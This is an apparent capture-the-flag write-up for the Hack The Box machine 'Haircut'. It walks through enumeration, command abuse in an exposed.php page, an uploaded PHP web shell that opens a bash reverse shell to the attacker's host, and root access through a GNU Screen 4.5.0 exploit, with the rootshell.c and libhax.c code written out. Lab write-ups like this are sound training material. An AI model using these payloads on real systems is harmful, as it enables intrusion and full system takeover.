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# Haircut Writeup
![](img/8.png)
## Introduction :
Haircut is a medium Linux box released back in May 2017.
## **Part 1 : Initial Enumeration**
As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions.
λ nihilist [ 10.10.14.20/23 ] [~]
→ nmap -F 10.10.10.24
Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-24 12:41 GMT
Nmap scan report for 10.10.10.24
Host is up (0.10s latency).
Not shown: 98 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 1.62 seconds
λ nihilist [ 10.10.14.20/23 ] [~]
→ nmap -sCV 10.10.10.24 -p22,80
Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-24 12:48 GMT
Nmap scan report for 10.10.10.24
Host is up (0.10s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 e9:75:c1:e4:b3:63:3c:93:f2:c6:18:08:36:48:ce:36 (RSA)
| 256 87:00:ab:a9:8f:6f:4b:ba:fb:c6:7a:55:a8:60:b2:68 (ECDSA)
|_ 256 b6:1b:5c:a9:26:5c:dc:61:b7:75:90:6c:88:51:6e:54 (ED25519)
80/tcp open http nginx 1.10.0 (Ubuntu)
|_http-server-header: nginx/1.10.0 (Ubuntu)
|_http-title: HTB Hairdresser
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.06 seconds
## **Part 2 : Getting User Access**
Our nmap scan picked up nginx 1.10.0 running on port 80, browsing there we find a simple webpage with one image on it, so we download it to see if we can find anything interesting on it, however before that, let's run a dirsearch scan to see if we can find any interesting directories :
λ nihilist [ 10.10.14.20/23 ] [~/_HTB/Haircut]
→ dirsearch -u http://10.10.10.24/ -t 50 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -e html,txt,php,js,xml
While that runs, let's see if we can find anything interesting on that image on the webpage :
λ nihilist [ 10.10.14.20/23 ] [~/_HTB/Haircut]
→ wget http://10.10.10.24/bounce.jpg && exiftool bounce.jpg
--2020-02-24 13:02:32-- http://10.10.10.24/bounce.jpg
Connecting to 10.10.10.24:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 116637 (114K) [image/jpeg]
Saving to: ‘bounce.jpg’
bounce.jpg 100%[===============================================>] 113.90K 367KB/s in 0.3s
2020-02-24 13:02:33 (367 KB/s) - ‘bounce.jpg’ saved [116637/116637]
ExifTool Version Number : 11.86
File Name : bounce.jpg
Directory : .
File Size : 114 kB
File Modification Date/Time : 2017:05:15 09:58:51+01:00
File Access Date/Time : 2020:02:24 13:02:33+00:00
File Inode Change Date/Time : 2020:02:24 13:02:33+00:00
File Permissions : rw-r--r--
File Type : JPEG
File Type Extension : jpg
MIME Type : image/jpeg
JFIF Version : 1.01
Resolution Unit : None
X Resolution : 1
Y Resolution : 1
Comment : CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), quality = 90.
Image Width : 600
Image Height : 804
Encoding Process : Baseline DCT, Huffman coding
Bits Per Sample : 8
Color Components : 3
Y Cb Cr Sub Sampling : YCbCr4:2:0 (2 2)
Image Size : 600x804
Megapixels : 0.482
λ nihilist [ 10.10.14.20/23 ] [~/_HTB/Haircut]
→ file bounce.jpg
bounce.jpg: JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, comment: "CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), quality = 90", baseline, precision 8, 600x804, components 3
λ nihilist [ 10.10.14.20/23 ] [~/_HTB/Haircut]
→ steghide extract -sf bounce.jpg
Enter passphrase:
steghide: could not extract any data with that passphrase!
Looks like we're out of luck for that image for now. looking back at our dirsearch results, we find the test.html page which again just has a single image on it and nothing else. but we also have an exposed.php webpage. and looking at it's error messages, we see that it's using curl to find the webpage we request.
![](prg/8_001.png)
Let's see if we can get it to connect to us :
![](prg/8_002.png)
Requesting Site...
% Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0 0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0 100 56 100 56 0 0 268 0 --:--:-- --:--:-- --:--:-- 267
nihilist's simpleHTTPServer running on port 1234
And we can ! now that we know that it is running curl, and that it can reach to us, let's see if we can take this a little further by using what our dirsearch command found earlier : the /uploads/ directory, so we'll try uploading a file there :
λ nihilist [ 10.10.14.20/23 ] [~/_HTB/Haircut]
→ cp /home/nihilist/_HTB/Cronos/nihilist.php .
λ nihilist [ 10.10.14.20/23 ] [~/_HTB/Haircut]
→ nano nihilist.php
<****?php
exec("/bin/bash -c 'bash -i > & /dev/tcp/10.10.14.20/1234 0>&1'");
?****>
λ nihilist [ 10.10.14.20/23 ] [~/_HTB/Haircut]
→ ls
bounce.jpg nihilist.html nihilist.php
λ nihilist [ 10.10.14.20/23 ] [~/_HTB/Haircut]
→ python -m SimpleHTTPServer 9000
Serving HTTP on 0.0.0.0 port 9000 ...
-o /var/www/html/uploads/nihilist.php http://10.10.14.20:9000/nihilist.php
once uploaded, we just need to browse to our url , while having our netcat listener on port 1234.
λ nihilist [ 10.10.14.20/23 ] [~/_HTB/Haircut]
→ nc -lvnp 1234
listening on [any] 1234 ...
λ nihilist [ 10.10.14.20/23 ] [~/_HTB/Haircut]
→ curl http://10.10.10.24/uploads/nihilist.php
connect to [10.10.14.20] from (UNKNOWN) [10.10.10.24] 34814
bash: cannot set terminal process group (1202): Inappropriate ioctl for device
bash: no job control in this shell
www-data@haircut:~/html/uploads$ cat /home/maria/Desktop/user.txt
cat /home/maria/Desktop/user.txt
0bXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
Getting our reverse shell, we have been able to print out the user flag in /home/maria/desktop/.
## **Part 3 : Getting Root Access**
Now from there, we have to somehow privesc to the root user so let's first check which files have the 4000 permissions, piping the errors to /dev/null.
www-data@haircut:/bin$ find / -perm -4000 2>/dev/null | xargs ls -la
find / -perm -4000 2>/dev/null | xargs ls -la
-rwsr-xr-x 1 root root 30800 Jul 12 2016 /bin/fusermount
-rwsr-xr-x 1 root root 40152 Dec 16 2016 /bin/mount
-rwsr-xr-x 1 root root 142032 Jan 28 2017 /bin/ntfs-3g
-rwsr-xr-x 1 root root 44168 May 7 2014 /bin/ping
-rwsr-xr-x 1 root root 44680 May 7 2014 /bin/ping6
-rwsr-xr-x 1 root root 40128 May 4 2017 /bin/su
-rwsr-xr-x 1 root root 27608 Dec 16 2016 /bin/umount
-rwsr-sr-x 1 daemon daemon 51464 Jan 14 2016 /usr/bin/at
-rwsr-xr-x 1 root root 49584 May 4 2017 /usr/bin/chfn
-rwsr-xr-x 1 root root 40432 May 4 2017 /usr/bin/chsh
-rwsr-xr-x 1 root root 75304 May 4 2017 /usr/bin/gpasswd
-rwsr-xr-x 1 root root 32944 May 4 2017 /usr/bin/newgidmap
-rwsr-xr-x 1 root root 39904 May 4 2017 /usr/bin/newgrp
-rwsr-xr-x 1 root root 32944 May 4 2017 /usr/bin/newuidmap
-rwsr-xr-x 1 root root 54256 May 4 2017 /usr/bin/passwd
-rwsr-xr-x 1 root root 23376 Jan 18 2016 /usr/bin/pkexec
-rwsr-xr-x 1 root root 1588648 May 19 2017 /usr/bin/screen-4.5.0
-rwsr-xr-x 1 root root 136808 Jan 20 2017 /usr/bin/sudo
-rwsr-xr-- 1 root messagebus 42992 Jan 12 2017 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
-rwsr-xr-x 1 root root 10232 Mar 27 2017 /usr/lib/eject/dmcrypt-get-device
-rwsr-xr-x 1 root root 428240 Mar 16 2017 /usr/lib/openssh/ssh-keysign
-rwsr-xr-x 1 root root 14864 Jan 18 2016 /usr/lib/policykit-1/polkit-agent-helper-1
-rwsr-xr-x 1 root root 208680 Apr 29 2017 /usr/lib/snapd/snap-confine
-rwsr-xr-x 1 root root 38984 Mar 7 2017 /usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
And here, we see something interesting , we have /usr/bin/screen-4.5.0 which basically is an outdated version of GNU Screen which is vulnerable to a local bashscript exploit, as explained here :
λ nihilist [ 10.10.14.20/23 ] [~/_HTB/Haircut]
→ searchsploit screen 4.5
------------------------------------------------------- ------------------------------
Exploit Title | Path
| (/usr/share/exploitdb/)
------------------------------------------------------- ------------------------------
GNU Screen 4.5.0 - Local Privilege Escalation | exploits/linux/local/41154.sh
GNU Screen 4.5.0 - Local Privilege Escalation (PoC) | exploits/linux/local/41152.txt
------------------------------------------------------- ------------------------------
Shellcodes: No Result
λ nihilist [ 10.10.14.20/23 ] [~/_HTB/Haircut]
→ locate 41152.txt
/usr/share/exploitdb/exploits/linux/local/41152.txt
λ nihilist [ 10.10.14.20/23 ] [~/_HTB/Haircut]
→ cat /usr/share/exploitdb/exploits/linux/local/41152.txt
Commit f86a374 ("screen.c: adding permissions check for the logfile name",
2015-11-04)
The check opens the logfile with full root privileges. This allows us to
truncate any file or create a root-owned file with any contents in any
directory and can be easily exploited to full root access in several ways.
So that's the explanation of the exploit, let's replicate each steps (that i purposefully cut out to demonstrate here) :
www-data@haircut:/bin$ screen --version
screen --version
Screen version 4.05.00 (GNU) 10-Dec-16
www-data@haircut:/bin$ cd /etc
cd /etc
www-data@haircut:/etc$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@haircut:/etc$ screen -D -m -L bla.bla echo fail
screen -D -m -L bla.bla echo fail
www-data@haircut:/etc$ ls -l bla.bla
ls -l bla.bla
-rw-r--r-- 1 root www-data 0 Feb 24 14:54 bla.bla
and we've been able to create a file owned by root. Now let's look at the other exploit our searchsploit command found earlier :
λ nihilist [ 10.10.14.20/23 ] [~/_HTB/Haircut]
→ locate 41154.sh
/usr/share/exploitdb/exploits/linux/local/41154.sh
λ nihilist [ 10.10.14.20/23 ] [~/_HTB/Haircut]
→ cp /usr/share/exploitdb/exploits/linux/local/41154.sh .
λ nihilist [ 10.10.14.20/23 ] [~/_HTB/Haircut]
→ ls
41154.sh bounce.jpg nihilist.html nihilist.php
now looking at the bashscript we just copied, we need to create 2 files : rootshell.c and libhax.c
λ nihilist [ 10.10.14.20/23 ] [~/_HTB/Haircut]
→ nano rootshell.c
#include <****stdio.h>
int main(void){
setuid(0);
setgid(0);
system("/bin/sh");
}
λ nihilist [ 10.10.14.20/23 ] [~/_HTB/Haircut]
→ nano libhax.c
#include <****stdio.h>
#include <****sys/types.h>
#include <****unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
chown("/tmp/rootshell",0,0);
chmod("/tmp/rootshell",04755);
unlink("/etc/ld.so.preload");
printf("[+] done!\n");
}
now once we have both of them, we compile rootshell.c
λ nihilist [ 10.10.14.20/23 ] [~/_HTB/Haircut]
→ ls
41154.sh bounce.jpg nihilist.html nihilist.php libhax.c rootshell.c
λ nihilist [ 10.10.14.20/23 ] [~/_HTB/Haircut]
→ gcc -o rootshell rootshell.c
λ nihilist [ 10.10.14.20/23 ] [~/_HTB/Haircut]
→ file rootshell
rootshell: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=12fa79c4be4d1e8082f25adb7e78c33e46df2d80, for GNU/Linux 3.2.0, not stripped
so we have our 64bit executable binary, which is appropriate because when we type uname with the -a flag on the box we see that it is a 64bit machine.
www-data@haircut:/tmp$ uname -a
uname -a
Linux haircut 4.4.0-78-generic #99-Ubuntu SMP Thu Apr 27 15:29:09 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
λ nihilist [ 10.10.14.20/23 ] [~/_HTB/Haircut]
→ gcc -fPIC -shared -ldl -o libhax.so libhax.c
λ nihilist [ 10.10.14.20/23 ] [~/_HTB/Haircut]
→ ls
41154.sh nihilist.html libhax.c rootshell
bounce.jpg nihilist.php libhax.so rootshell.c
λ nihilist [ 10.10.14.20/23 ] [~/_HTB/Haircut]
→ python -m SimpleHTTPServer 9006
Serving HTTP on 0.0.0.0 port 9006 ...
And we now we have both our compiled files libhax.so and rootshell. Running simplehttpserver, we download them into /tmp.
www-data@haircut:/tmp$ cd /tmp && wget http://10.10.14.20:9006/libhax.so && wget http://10.10.14.20:9006/rootshell
--2020-02-24 15:22:28-- http://10.10.14.20:9006/libhax.so
Connecting to 10.10.14.20:9006... connected.
HTTP request sent, awaiting response... 200 OK
Length: 16144 (16K) [application/octet-stream]
Saving to: 'libhax.so'
0K .......... ..... 100% 152K=0.1s
2020-02-24 15:22:28 (152 KB/s) - 'libhax.so' saved [16144/16144]
--2020-02-24 15:22:28-- http://10.10.14.20:9006/rootshell
Connecting to 10.10.14.20:9006... connected.
HTTP request sent, awaiting response... 200 OK
Length: 16720 (16K) [application/octet-stream]
Saving to: 'rootshell'
0K .......... ...... 100% 145K=0.1s
2020-02-24 15:22:28 (145 KB/s) - 'rootshell' saved [16720/16720]
www-data@haircut:/tmp$ chmod +x rootshell && chmod +x libhax.so
chmod +x rootshell && chmod +x libhax.so
Now we should be ready to get run the intended script although at this point we'll just do the rest manually, since we basically cut out more than half of the script already.
#!/bin/sh
echo "~ gnu/screenroot ~"
echo "[+] First, we create our shell and library..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so" # newline n>
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so...
/tmp/rootshell
www-data@haircut:/tmp$ cd /etc
cd /etc
www-data@haircut:/etc$ umask 000
umask 000
www-data@haircut:/etc$ screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so" # newline n>
www-data@haircut:/etc$ ls -la | grep ld
ls -la | grep ld
-rw-r--r-- 1 root root 24939 May 19 2017 ld.so.cache
-rw-r--r-- 1 root root 34 Jan 27 2016 ld.so.conf
drwxr-xr-x 2 root root 4096 May 16 2017 ld.so.conf.d
drwxr-xr-x 2 root root 4096 May 15 2017 ldap
www-data@haircut:/etc$ /tmp/rootshell
/tmp/rootshell
id
uid=0(root) gid=0(root) groups=0(root),33(www-data)
cat /root/root.txt
4cXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
And that's it ! we have been able to privesc to the root user and we have been able to print out the root flag.
## **Conclusion**
Here we can see the progress graph :
![](img/8_graph.png)